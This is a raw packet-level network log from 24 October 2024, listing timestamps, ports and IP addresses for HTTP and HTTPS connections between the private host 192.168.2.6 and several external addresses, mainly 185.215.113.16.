Oct 24, 2024 04:58:18.100615978 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.148298979 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.148340940 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.148358107 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.148380041 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.148439884 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.179481983 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.179538012 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.179573059 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.179584980 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.179606915 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.179641008 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.179677010 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.179692030 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.179728031 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.219789982 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.219854116 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.219883919 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.219916105 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.219917059 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.219965935 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.267673969 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.267738104 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.267774105 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.267872095 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.298826933 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.298863888 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.298886061 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.298918009 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.298955917 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.298978090 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.299005985 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.299041986 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.299071074 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.299079895 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.299110889 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.339185953 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.339246035 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.339282990 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.339334011 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.339338064 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.339368105 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.339426041 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.386928082 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.386981964 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.386985064 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.387015104 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.387047052 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.387073994 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.405735970 CEST	443	49997	104.102.49.254	192.168.2.6
Oct 24, 2024 04:58:18.405771017 CEST	443	49997	104.102.49.254	192.168.2.6
Oct 24, 2024 04:58:18.405781031 CEST	443	49997	104.102.49.254	192.168.2.6
Oct 24, 2024 04:58:18.405797005 CEST	443	49997	104.102.49.254	192.168.2.6
Oct 24, 2024 04:58:18.405807018 CEST	443	49997	104.102.49.254	192.168.2.6
Oct 24, 2024 04:58:18.405811071 CEST	49997	443	192.168.2.6	104.102.49.254
Oct 24, 2024 04:58:18.405843019 CEST	443	49997	104.102.49.254	192.168.2.6
Oct 24, 2024 04:58:18.405864000 CEST	49997	443	192.168.2.6	104.102.49.254
Oct 24, 2024 04:58:18.405893087 CEST	49997	443	192.168.2.6	104.102.49.254
Oct 24, 2024 04:58:18.418308973 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.418364048 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.418396950 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.418462038 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.418476105 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.458605051 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.458635092 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.458683968 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.458687067 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.458722115 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.458755016 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.458789110 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.458798885 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.458837032 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.458908081 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.458940983 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.458976030 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.458986044 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.506207943 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.506238937 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.506256104 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.506284952 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.506324053 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.523237944 CEST	443	49997	104.102.49.254	192.168.2.6
Oct 24, 2024 04:58:18.523264885 CEST	443	49997	104.102.49.254	192.168.2.6
Oct 24, 2024 04:58:18.523304939 CEST	443	49997	104.102.49.254	192.168.2.6
Oct 24, 2024 04:58:18.523330927 CEST	49997	443	192.168.2.6	104.102.49.254
Oct 24, 2024 04:58:18.523366928 CEST	443	49997	104.102.49.254	192.168.2.6
Oct 24, 2024 04:58:18.523386955 CEST	49997	443	192.168.2.6	104.102.49.254
Oct 24, 2024 04:58:18.524308920 CEST	443	49997	104.102.49.254	192.168.2.6
Oct 24, 2024 04:58:18.524368048 CEST	49997	443	192.168.2.6	104.102.49.254
Oct 24, 2024 04:58:18.524578094 CEST	49997	443	192.168.2.6	104.102.49.254
Oct 24, 2024 04:58:18.524578094 CEST	49997	443	192.168.2.6	104.102.49.254
Oct 24, 2024 04:58:18.524600029 CEST	443	49997	104.102.49.254	192.168.2.6
Oct 24, 2024 04:58:18.524612904 CEST	443	49997	104.102.49.254	192.168.2.6
Oct 24, 2024 04:58:18.526977062 CEST	49999	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:58:18.527007103 CEST	443	49999	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:18.527116060 CEST	49999	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:58:18.527421951 CEST	49999	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:58:18.527436972 CEST	443	49999	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:18.537504911 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.537542105 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.537555933 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.537570000 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.537594080 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.537612915 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.560595989 CEST	80	49998	185.215.113.43	192.168.2.6
Oct 24, 2024 04:58:18.560657024 CEST	49998	80	192.168.2.6	185.215.113.43
Oct 24, 2024 04:58:18.562370062 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.562697887 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.567992926 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.568051100 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.568078995 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.568101883 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.568355083 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.573600054 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.577744007 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.577776909 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.577824116 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.577828884 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.577912092 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.577928066 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.577944994 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.577959061 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.577960014 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.577986002 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.578321934 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.578334093 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.578370094 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.578425884 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.578438997 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.578483105 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.625682116 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.625715017 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.625742912 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.625749111 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.625782967 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.625832081 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.656929016 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.656964064 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.656999111 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.657016993 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.657056093 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.697302103 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.697355986 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.697391987 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.697424889 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.697443008 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.697460890 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.697474957 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.697494984 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.697580099 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.697633028 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.697665930 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.697700977 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.697746992 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.744895935 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.744935036 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.744967937 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.744981050 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.745044947 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.776137114 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.776169062 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.776220083 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.776226997 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.776257038 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.776289940 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.776298046 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.776324987 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.776467085 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.816519022 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.816576004 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.816636086 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.816642046 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.816673040 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.816706896 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.816723108 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.816740036 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.816787004 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.816958904 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.816992044 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.817027092 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.817034960 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.864233017 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.864291906 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.864293098 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.864326954 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.864382029 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.895487070 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.895526886 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.895579100 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.895581007 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.895615101 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.895649910 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.895664930 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.895687103 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.895733118 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.935966969 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.936023951 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.936078072 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.936110973 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.936125994 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.936146021 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.936161995 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.936178923 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.936213970 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.936223984 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.936249018 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.936292887 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.983797073 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.983841896 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.983879089 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.983931065 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.015079021 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.015115976 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.015144110 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.015166998 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.015168905 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.015197039 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.015206099 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.015248060 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.055111885 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.055130005 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.055146933 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.055162907 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.055179119 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.055179119 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.055210114 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.055327892 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.055341959 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.055372953 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.055444956 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.055461884 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.055478096 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.055494070 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.055505991 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.055525064 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.103065968 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.103108883 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.103140116 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.103163004 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.103199005 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.134202003 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.134279013 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.134311914 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.134346008 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.134370089 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.134381056 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.134406090 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.134418964 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.134562969 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.155697107 CEST	443	49999	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:19.155769110 CEST	49999	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:58:19.157426119 CEST	49999	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:58:19.157434940 CEST	443	49999	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:19.157809019 CEST	443	49999	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:19.158992052 CEST	49999	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:58:19.159073114 CEST	49999	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:58:19.159099102 CEST	443	49999	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:19.174511909 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.174550056 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.174592018 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.174643040 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.174647093 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.174685001 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.174717903 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.174732924 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.174751997 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.174757957 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.174786091 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.174922943 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.222296000 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.222357988 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.222409010 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.222443104 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.222459078 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.222477913 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.222491980 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.253712893 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.253745079 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.253760099 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.253767014 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.253774881 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.253791094 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.253798008 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.253829956 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.294059038 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.294080973 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.294099092 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.294137001 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.294169903 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.294197083 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.294213057 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.294217110 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.294226885 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.294245958 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.294271946 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.294297934 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.295181990 CEST	443	49999	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:19.295339108 CEST	443	49999	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:19.295396090 CEST	49999	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:58:19.295429945 CEST	443	49999	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:19.295514107 CEST	443	49999	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:19.295562983 CEST	49999	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:58:19.295573950 CEST	443	49999	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:19.295717955 CEST	443	49999	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:19.295850992 CEST	49999	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:58:19.296948910 CEST	49999	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:58:19.296967983 CEST	443	49999	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:19.297269106 CEST	49999	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:58:19.297276974 CEST	443	49999	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:19.341715097 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.341752052 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.341767073 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.341784000 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.341800928 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.341818094 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.341816902 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.341860056 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.372890949 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.372908115 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.372935057 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.372948885 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.372961044 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.372965097 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.373013973 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.388432026 CEST	50002	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:58:19.388475895 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:19.388588905 CEST	50002	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:58:19.389113903 CEST	50002	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:58:19.389133930 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:19.413199902 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.413217068 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.413233995 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.413249016 CEST	80	49774	185.215.113.16	192.168.2.6
